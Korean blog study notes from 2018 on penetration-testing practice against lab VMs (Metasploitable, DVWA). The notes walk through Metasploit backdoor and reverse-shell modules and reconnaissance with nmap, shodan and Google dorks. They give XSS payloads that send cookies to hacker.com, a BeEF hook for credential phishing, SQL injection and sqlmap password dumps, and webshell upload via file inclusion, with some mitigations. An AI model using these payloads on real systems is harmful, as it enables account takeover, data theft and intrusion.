2018. 7. 31.

[metasploitable] nmap, 메타스플로잇, 인터프리터

service postgresql start // postgresql 실행
msfdb init // db를 초기화 한다.

msfconsole
db_status // db가 잘 연결되어있는지 확인 할 수 있다.

nessus 결과나, sparta, nmap 등을 통해 나온 결과를 통해 공격 취약점을 선별한다.

db_nmap 192.168.56.107 -sV



# vsftp 2.3.4 공격
위 결과 중 21번 포트에 vsftpd 2.3.4 가 동작 중인 것을 알 수 있다.

vsftpd 2.3.4 버취약함이 존재하는지 확인하려면
search vsftpd 라고 입력한다. 검색 속도가 느리다면 db_rebuild_cache 라고 입력하면 속도가 빨라진다


검색 결과 2.3.4 버전 모듈이 존재한다. excellent 랭크를 보아하니 작동률이 아주 높다는 것이다.

use exploit/unix/ftp/vsftpd_234_backdoor
show options



현재 RHOST 부분 설정이 비어있으므로 세팅을 해야한다. set 명령어로 셋팅을 하고나면 다음과 같이 데이터가 삽입된다.


모든 준비가 완료되었고 run 을 입력하면 공격이 수행되며, 그 결과로 쉘을 찾을 수 있다.


진행하고 있는 공격을 ctrl z 명령어로 백그라운드에 돌리고 sessions 명령어로 원하는 세션만 가져올 수도 있다.

# SAMBA 취약점 공격

nmap 결과를 보면 samba smbd 3.x - 4.x  라고 표시되어 있다. 버전을 정확히 알기 위해서 다음 명령어를 수행한다.

use auxiliary/scanner/smb/smb_version

auxiliary 는 쉘을 얻어내는것이 아니라 정보를 얻어낼 때 사용한다.


search samba 로 공격 모듈을 검색해보면 상당히 많이 나온다. 이것을 일일이 실행하는것은 좋은 방법이 아니다. 왜냐하면 공격시스템의 메모리가 과부화되어 다운 될 수도 있기 때문이다. 최대한 정확한 모듈을 찾는것이 좋은데 이럴때 구글을 활용하면 좋다.
구글에서 samba 3.0.20 metasploit 이라고 검색한다.


username map script 라는 스크립트를 찾았다. search username_map_script 로 검색한 후 공격을 수행하면 된다. 수행 결과 관리자 쉘을 얻을 수 있다.

실행하기 전에 페이로드를 사용해 본다. 공격이 성공하고 난 후 어떤 작업을 할지 정해주는 것이다. show payloads 를 입력하면 해당 모듈안에서 사용할 수 있는 payloads를 볼 수 있다. 방화벽이 있는 공격 대상의 경우 reverse shell 공격을 해야하므로 이때 유용하게 사용된다.

show payloads 로 확인 한 후 set payload cmd/unix/bind_perl 명령어로 페이로드를 지정한다.  (reverse 쉘을 이용하려면 /cmd/unix/reverse 를 입력한 후 공격을 수행한다.

단 reverse 쉘을 수행하려면 아래의 LHOST를 자신의 IP로 입력해야 한다. 서버쪽에서 해커의 PC로 붙어야 하기 때문이다.



# SLMAL 취약점 공격

use windows/pop3/seattlelab_pass
set payload windows/meterpreter/reverse_tcp



meterpreter 프롬프트를 띄워준다.  meterpreter 는 기존 쉘 보다 더 강력한 기능을 많이 제공한다.



Continue reading

kali linux 에 nessus 설치


# nessus 설치 및 이용
  • https://www.tenable.com/downloads/nessus 에서 Nessus-7.1.2-debian6_amd64.deb 를 다운받는다.
  • https://www.tenable.com/products/nessus-home 에서 activation code를 받아야 한다.

패키지를 푼다. dpkg -i Nessus-7.1.2 파일명


패키지를 풀고 /etc/init.d/nessus start

https://localhost:8834

스니핑 실습


** nessus 접속 패스워드를 분실 했을 때는 다음과 같이 수행한다.
cd /opt/nessus/sbin
./nessuscli lsuser // id를 확인 할 수 있다
./nessuscli chpasswd 사용자id // 패스워드를 변경 할 수 있게 된다.


Continue reading

2018. 7. 30.

[웹 취약점] 정보 수집 (패시브 스캐닝 / 액티브스캐닝)

정보 수집은 패시브 스캐닝과 액티브 스캐닝 단계로 구분된다.

1) 패시브 스캐닝
패시브 스캐닝은 공개되어 있는 정보를 수집하는 것이다.

* 구글 해킹

site naver.com -filetype pdf
inurl 은 특정 문자열을 포함한 검색 결과를 찾을때 사용된다
inurl :admin 관리자 페이지를 검색할때 사용
inurl index.php id=
intitle "index of"
intitle "index of" pdf

* whois/netcraft/whatweb
whois  와 netcraft (http://searchdns.netcraft.com/) 역시 공개되어 있는 정보 수집에 유용하다.

간단하게 사용할 수 있는 whatweb 역시 유용하게 사용된다.

* shodan
city 검색 결과를 주어진 도시내로 한정하여 보여준다. (ex. apache city:”Zürich”)
country 검색 결과를 주어진 국가내로 한정하여 보여준다. (ex. nginx country:DE)
geo 특정 위도/경도 정보를 참고후, 근처에 있는 검색 결과를 보여준다.
(ex. apache geo:42.9693,-74.1224)
hostname 검색 결과에서 주어진 호스트 네임과 매칭 되는 결과를 보여준다.
(ex. “Server: gws” hostname:google)
net 특정 Class에 한정하여 검색 결과를 보여준다 (ex.net:216.219.143.0/24)
os 특정 OS에 대한 검색 결과를 보여준다. (ex. microsoft-iis os:”windows 2003″)
port 특정 포트에 대한 검색 결과를 보여준다. (ex.proftpd port:21)
before/after 특정 날짜 전/후에 대한 검색 결과를 보여준다. (ex. nginx before:18/01/2010)

2) 액티브 스캐닝
공격 대상을 직접 스캐닝 (DNS 정보 수집, 포트 스캐닝, 웹스캐닝, 종합 취약점 스캐닝) 하는 것이다.

* DNS를 이용한 정보 수집

- 도메인 서버 알아내기
host zonetransfer.mens

- name 서버 알아내기
host -t ns zonetransfer.me

- zonetransfer 공격 수행

권한이 있는 서버에게 만 zonetransfer 공격을 하는게 아니라 권한 설정을 하지 않아 외부에서도 zonetransfer 공격을 수행 할 수 있다


- dnsenum zonetransfer.me

* 호스트 스캐닝
호스트 하나를 공격해서 침투에 성공하고 나면 내부 내트네트에서 다른 호스트를 추가로 공격하는 경우가 있다 이때 다른 호스트의 IP를 알아내야 한다.

PING 는 어떤 호스트가 살아있는지 확인하는 명령어이다. icmp 라는 네트워크 요청을 보내고 icmp 응답을 보고 결과를 확인해서 살아있는지 확인한다. 종종 방화벽에서 ping 을 막아놓는 경우도 있다.

fping -f 192.168.0.1/24
fping -q -a -f 192.168.0.1/24 살아있는 호스트들만 보는 명령어이다.
결국 해당 네트워크 대역에서 살아있는 호스트를 찾을 수 있다. 그러나 윈도우는 ping 요청이 방화벽으로 차단된다.
nmap 을 사용하면 더 정확한 결과를 얻을 수 있다.
nmap -sn 192.168.0.1/24


* 포트 스캐닝
일반사용자가 아무런 옵션을 주지 않는것은 -sT (connect 스캐닝) 옵션을 준것과 동일하게 동작한다.


그러나 칼리에서 루트 인 경우 -sT 와 같은 syn 스캔이 대신 수행 된다.  
(과거에는 방화벽이 syn 스캔을 탐지하지 못했기 때문에 스텔스 스캔이라고 불리기도 한다)

모의해킹 환경에서는 udp 서비스도 사용될 수 있기 때문에 다음의 명령어를 사용할 수 있다.
nmap -sU 192.168.70.132 -p 100-140


nmap -O 192.168.70.132 를 통해 os 정보를 확인 할 수 있다.

nmap -sV 192.168.70.132 배너 그래핑 공격을 통해 각 서비스의 버전정보를 확인 할 수 있다.  또한 -A 옵션을 통해 os 정보와 배너 그래핑 공격을 한번에 수행 할 수 있다.


nmap 고급 기능인 스크립트를 이용할 수 도 있다.
nmap 192.168.70.132 -p 21 --script=ftp-vsftpd-backdoor



* smtp 공격

target 서버가 25번 포트에서 smp 서비스를 하고 있는 것을 알 수 있다.

nc targetip 25 로 접속 후 VRFY 명령어로 존재하는 사용자 목록을 알아 낼 수 있다


smtp-user-enum 프로그램으로 무차별 삽입 공격을 할 수 있다.


  • kali linux wordlist  경로 : /usr/share/wordlists


- nikto 사용
nikto 결과는 아주 꼼꼼히 봐야한다.

- sparta 사용
nmap을 1차적으로 실행하고 포트를 검색하고 웹 포트가 있으면 nikto를 사용하고 smtp 포트가 있으면 VRFY 기법을 사용하여 사용자 정보를 검사하게 된다. 또한 mysql 과 같은 데이터베이스가 포트가 발견되면 기본사용자 정보를 체크하게 된다.








Continue reading

2018. 7. 26.

[Pentester Lab] 실습용 웹 사이트 구성

# 실습환경 구축

설치 파일 다운로드
  • https://www.pentesterlab.com/exercises/


From SQL Injection to shell 로 접근하여 ISO 파일을 다운로드 한다.

SQL 인젝션 공격에서 시작하여 웹 사이트 호스트 쉘을 얻으내기까지 실습을 할 수 있다.

종류는 Linux 32bit로 변경 / 메모리 1GB / 네트워크 어댑터를 NAT가 아닌 호스트 전용 어댑터로 변경한다. 이렇게 만들게되면 사설 아이피를 할당받게 되어 내부에서만 접근가능하고 칼리 리눅스가 해당 웹사이트에 접근 할 수 있도록 만들 수 있다.


설치가 완료되었다.


칼리리눅스에서도 전원을 끄고 "호스트 전용 어댑터"로 설정하고 타겟 웹사이트 사설 ip를 입력하면 웹 사이트에 접속이 된다.

Continue reading

[DVWA] XSS 공격


자바스크립트 공격시 사용될 수 있는 예시

1)원격지에서 쿠키 빼낼때 사용
<script>document.location='http://hacker.com/cookie?'+document.cookie</script>
2) 외부의 해커사이트에 올려둔 악성 스크립트를 실행 할 수 있다.
<script src=http://hacker.com/bad.js></script>


1. Reflected XSS 공격 시나리오

(1) 사용자 쿠키를 빼내는 스크립트주소가 삽입된 피싱 메일을 피해자에게 전송함
(2) 사용자는 스크립트 코드가 삽입된 요청을 서버에 전송
(3) 이때  웹 어플리케이션은 스크립트 코드를 반사시켜 사용자에게 되돌려준다.
(4) 웹 브라우저는 자동으로 스크립트 코드를 실행하게 되고 쿠키를 해커에게 전송한다.
(5) 해커는 사용자의 쿠키를 사용하여 해당 사이트에 접속한다.

[실습]

1) low

입력란에 다음과 같이 입력한다.

  • <script>alert(document.cookie)</script>

해커의 웹서버의 접근 로그를 확인한다.
  • tail -f /opt/lampp/logs/access_log 

<script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>
위 스크립트 문을 사용하게 되면 document.location 을 통해 뒤에 명시된 http://127.0.0.1 (해커 사이트)로 리다이렉트 시키고 그리고 document.cookie 를 이용해서 쿠키 값을 찍어준다.

서버의 접근 로그를 확인하면 아래와 같이 접근 로그에서 쿠키 값을 확인 할 수 있다.


그리고 쿠키를 이용해서 해당 사용자의 권한으로 웹 사이트를 이용할 수 있다. 여기에서는 리다이렉트가 되어 사용자가 눈치를 챌 수 있게 되어 있지만 실제 해킹에서는 자바스크립트를 이용하여 아무일도 없는것처럼 만들수도 있다.


이를 응용하여 메일에서 링크삽입하여 해당 내용으로 연결되게 할 수 있다.
유의 할 것은 gmail의 경우 아래와 같이 특수문자를 인코딩 하여 처리해야한다. 인코딩하지 않으면 원하는 결과를 얻을 수 없다.

  • http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location=%27http://127.0.0.1/cookie?%27+document.cookie%3C/script%3E

3) high

대문자로해도 XSS 공격이 실행되지 않는다. 이 경우 정규식을 이용해서 대소문자를 구분하고 각 문자사이에 시도되는 우회 공격도 모두 방어하고 있다.


정규식을 이용하여 대소문자를 구분하고 각 문자사이에 시도되는 우회 공격을 방어하고 있다.

이 경우는 스크립트를 막고 있기때문에 스크립트 공격은 적용되지 않는다. 다만 HTML 태그를 이용한 공격이 수행 가능하다. 예를 들어 IMG 태그가 가능하다.

<img src=x onerror=window.location.assign("http://127.0.0.1/hacked.php")>
//소스에 아무런 값(x)을 입력해서 에러가 발생하면 뒤에 정의된 함수가 실행되게 된다.
window.location.assign 구문을 이용하면 리다이렉트를 실행되게 되는데 hacked.php 라는 악성코드가 있는 페이지로 리다이렉트 되게 된다. 실제 해킹 상황에서는 이 소스에 각종 악성 코드를 심어놓을 것이다.

<svg onload=window.location.assign("http://127.0.0.1/hacked.php")>
// onload 에 이 함수를 정의 했기 때문에 페이지가 요청 될때 다음 함수를 실행시키게 된다.

** XSS cheat sheet

4) impossible


htmlspecialchars 함수는 몇몇 특수문자를 html entity 라고 하는 것으로 변경하는 함수이다. html 에서 사용되면 태그나 구분자로의 중요한 의미를 가지는데 바꾸게 되면 웹 페이지서는 특수문자로 표시되지만 기존의 특별한 기능은 수행하지 않게 된다. &, ',",<,> 특수문자가 치환 된다.


소스 보기로 확인 한 결과 특수문자가 치환된 것을 알 수 있다. 페이지상에서는 특수문자로 표시되지만 실제로 스크립트가 실행되지 않게 된다.

대부분의 언어에서 같이 빌트인 라이브러리나 함수를 제공하기 때문에 개발시에 활용해야 한다. 또한 인젝션과 같이 폼에 입력되어야 하는 값을 철저하게 검사하는것도 대응방법이다.

2. Stored XSS 공격
(1) 해커가 방명록에 스크립트 삽입
(2) 사용자는 방명록에 접속하게되고 웹 브라우저는 스크립트를 실행하게 된다.

1) low

다음과 같이 스크립트문을 삽입한다.
(dvwa 에서는 글자수 제한이 걸려 있는데 우클릭 후 inspect element 를 실행하여 maxlength를 수정하면 된다)


그렇게 되면 방명록에 접근하자마자 다음과 같이 쿠키가 서버에 전송이 된다.





Continue reading

2018.07.26 메모 - 고민해 볼 것


1. 시나리오를 구성하여 방법론 구상 및 시연해보기

  • ex) 해커가 내부망까지 접근하는 방법론은 어떤게 있을까?
  • ex) 유출되어서는 안되는 파일이 유출 되었을때, 어떻게 이 파일이 유출되었는지 확인하는가?

2. 리버스엔지니어링 숙련
3. 앱 취약점 점검 숙련
4. 퍼징은 무엇이고 어떤 종류가 있는가
5. 취약점 분석/모의해킹을 할 때 가장 내새울 수 있는 스킬 개발하기
6. iot 장비 취약점 점검
7.

Continue reading

2018. 7. 25.

[웹 취약점] BeEF 를 이용한 XSS 공격

XSS 취약점을 발견했다면, 이를 통해 어떤 공격을 수행할 것인가. 다양한 사례와 시나리오가 있을 수 있겠지만 BeEF 를 이용해보자..

1) XSS 취약점 발견

2) beef 실행할때 나왔던 스크립트문을 취약한 포인트에 삽입한다.
ex) http://localhost/dvwa/vulnerabilities/xss_r/?name=<script src="http://127.0.0.1:3000/hook.js"></script>



3) 스크립트가 실행되면 BeEF 의 detail 패널에서 (127.0.0.1:3000/ui/panel)  Victim 의 쿠키정보를 포함한 다양한 정보를 확인 할 수 있고, command 탭에서 수행 가능한 공격들을 확인 할 수 있다.



4) Pretty Theft 라는 command를 사용하여 페이스북 아이디를 탈취 할 수 있다.
스크립트가 실행된 이후 pretty theft 를 클릭 하고 오른쪽 하단의 execute 를 실행하면 페이스북 로그인 알럿이 뜬다. 사용자가 의심없이 아이디 패스워드를 입력하면 공격자에게 계정이 넘겨지게 된다.







# 참고
  • http://elmosec.tistory.com/4
  • how to hack web browsers with beef - https://null-byte.wonderhowto.com/how-to/hack-like-pro-hack-web-browsers-with-beef-0159961/
  • http://www.hacking-tutorial.com/hacking-tutorial/xss-attack-hacking-using-beef-xss-framework/#sthash.Phmc7sTP.dpbs
  • http://www.hacking-tutorial.com/hacking-tutorial/how-to-do-hacking-the-internet-wan-not-lan-using-metasploit-the-logic/#sthash.dCGqRp4M.dpbs

Continue reading

2018. 7. 23.

[DVWA] SQL 인젝션

실습 환경 : KALI + DVWA

1) low


정상적인 ID(1) 를 입력하면 위와 같이 사용자 정보가 출력된다.

그러나 특수문자 (') 를 입력하면 위와 같이 에러페이지가 노출된다.


위와 같이 입력받는 $id 값에 아무런 필터링을 수행하지 않기 때문에 에러를 반환하게 된다. 이는 SQL 쿼리문을 조작할 수 있다는 의미이다.

(sql 은 # 이 주석 나머지는 -- 주석)
1' or '1'='1 을 입력하면 다른 사람의 정보를 확인 할 수 있다.




[칼럼 갯수 알아내기]
1) union 이용
1' union select 1,2# 을 입력한 결과 위와 같은 결과가 출력된다. 칼럼 갯수는 2개로 확인되었다.

2) order by 이용
1' order by 3#
2까지는 에러가 안나오는데 3을 입력하면 에러가 출력된다.

[DB정보 알아내기]

// 데이터베이스 명 조회
1' union select schema_name,1 from information_schema.schemata #


  • ** SQL 문 GITHUB 주소 https://github.com/SecuAcademy/webhacking/blob/master/SQL%EC%9D%B8%EC%A0%9D%EC%85%98%EC%8B%A4%EC%8A%B5.txt



// dvwa 데이터베이스의 테이블 명 조회
1' union select table_schema, table_name from information_schema.tables where table_schema = 'dvwa' #

// users 테이블 칼럼 조회
1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'#

// user와 password 조회
1' union select user,password from users#




[blind sql 인젝션]

에러가 나오지 않지만 1' AND 1=1# 와 1' AND 1=2# 의 결과가 차이가 있다.
시간은 굉장히 오래걸리지만 참 거짓의 명제로 하나하나 찾아볼 수 있다.

참 거짓의 표시 메시지가 완전히 같을 수 있다. 이럴때는 sleep이나 waitfor 등으로 시간으로 판별 할 수 있다.

1' AND Sleep(5)#

Sleep 함수가 적용되는것으로 보아 id가 1인 사용자가 존재하는 것으로 확인

6' AND Sleep(5)#

 
Sleep 함수가 적용되지 않은 것으로 보아 ID가 6 이라는 사용자는 존재하지 않는 것으로 확인

** 쿠키는 개발자도구의 console에서 document.cookie 입력하면 현재 쿠키를 확인 할 수 있다.

sql 인젝션 순서

1. sql 인젝션 공격 취약 여부 확인하기
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=rrps9ocnbe5j8l3n0m6v03v3m2"

2. 현재 데이터 베이스 이름 찾기 
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=rrps9ocnbe5j8l3n0m6v03v3m2" --current-db

3. dvwa 데이터베이스의 테이블 찾기
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=rrps9ocnbe5j8l3n0m6v03v3m2" -D dvwa --table 

4. users 안에 있는 모든 정보 출력하기
sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=rrps9ocnbe5j8l3n0m6v03v3m2" -D dvwa -T users --dump 


2) medium




아이디 값이 drop down 메뉴의 1,2,3,4,5 숫자로 되어 있는데 문자로 입력되었기 때문에 발생되는 오류 이다.  ($id를 작은 따옴표로 감싸지 않고 있기 때문에 숫자가 입력되어야 함)

때문에 특수문자를 빼고 1 or 1=1 이라고 입력하면 공격이 성공함

1 union select user,password from users# 와 같은 union 공격도 성공함

3) high

limit 함수로 출력되는 값을 1개로 제한했지만 sql 인젝션 공격을 막을 수 없다.

1' or '1'='1'#  뒤에 구문을 주석처리 하면 된다.



** 동적쿼리 vs 파라미터 쿼리

동적쿼리 

파라미터 쿼리 

prepare 함수에 미리 쿼리문의 형태를 작성하고 ID 부분만 bindParam을 이용해서 지정하게 된다. 이런 경우 db는 어떤것이 코드고 어떤것이 데이터인지 알수 있기 때문에 사용자로 부터 입력받은 값을 온전히 문자열로만 처리하기 때문에 sql 공격을 막을 수 있다. 

php 외에도 java의 preparedStatement 함수, .net sqlcommand 함수를 이용하여 시큐어 코딩을 할 수 있다.

Continue reading

2018. 7. 22.

[DVWA] CAPTCHA 우회

실습 환경 : Kali + DVWA
시나리오 : 캡차가 있는 경우 서버에 요청을 할 때, 첫번째로 captcha 확인을 하고 확인이 완료가 되면 비밀번호가 전송 될 것이다. 그러나 이를 캡차 인증을 우회하고 비밀번호만 전달할 수 있다.

1) low

step=1 로 캡차코드가 전송되고 그 이후 step=2로 인증요청을 한다. 만약 1은 무시하고 step=2에서 아래와 같이 요청을 하면 성공한다.



** render 탭 을 많이 사용하면 편리하다.

medium 역시 같은 방법으로 변경 가능하다.




Continue reading

2018. 7. 20.

[DVWA] 파일 업로드 취약점 실습 / 대응방안

실습 환경 : kali + DVWA


1) LOW


웹쉘 파일 다운로드

  • https://github.com/SecuAcademy/webhacking/blob/master/webshell.php 

http://127.0.0.1/dvwa/hackable/uploads/webshell.php?cmd=ls+-al

아무런 대응 방법이 없어서 웹셀업로드 및 실행이 간단히 실행되는 것을 알 수 있다.


2) medium

버프스위트로 잡아준다음 Content type 의 값을 image/jpeg 로 바꿔서 전달하면 업로드가 된다.

3) high

파일 확장자를 jpg, jpeg, png 인지 확인하며 getimagesize 함수로 실제로 이미지 파일인지 확인하고 있다. 
(참고 : http://blog.habonyphp.com/entry/php-%EC%9D%B4%EB%AF%B8%EC%A7%80-%EC%A0%95%EB%B3%B4-%EC%B6%9C%EB%A0%A5%ED%95%98%EB%8A%94-getimagesize-%ED%95%A8%EC%88%98#.W1GhzOSQw2w)

이를 우회하기 위해 다음과 같이 수행한다.  업로드가 올라간 것을 확인하였다. 
그러나 아래와 같이 해당 파일을 실행하면 에러가 발생한다. 


이런 경우 파일 인클루드 공격을 통해 업로드된 경로를 입력하면 공격이 수행된다.
http://localhost/dvwa/vulnerabilities/fi/?page=file/../../../hackable/uploads/webshell.php.jpg&cmd=ls%20-al 와 같이 입력해야 명령이 수행된다.



즉 이 경우에는 파일업로드 + 파일 인클루션 + 패스트래버설 을 조합하여 웹 사이트 공격을 수행 한 것이다.

4) impossible 


high 와 같이 확장자를 검사했지만 아래 소스 부분에서 이미지 파일을 다시 생성하려하고 있다. 그래서 무늬만 jpg 파일의 업로드를 차단 할 수 있다.

        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100); 

그 외에 다음과 같은 대응방법이 있을 수 있다.
  • 업로드되는 파일의 이름을 랜덤하게 생성하는 방법
  • 업로드 되는 서버를 웹 서버와 분리하는 것도 방법이 된다. 
  • 업로드 폴더의 실행권한을 제거

Continue reading

Popular Posts

Recent Posts

Blog Archive

Powered by Blogger.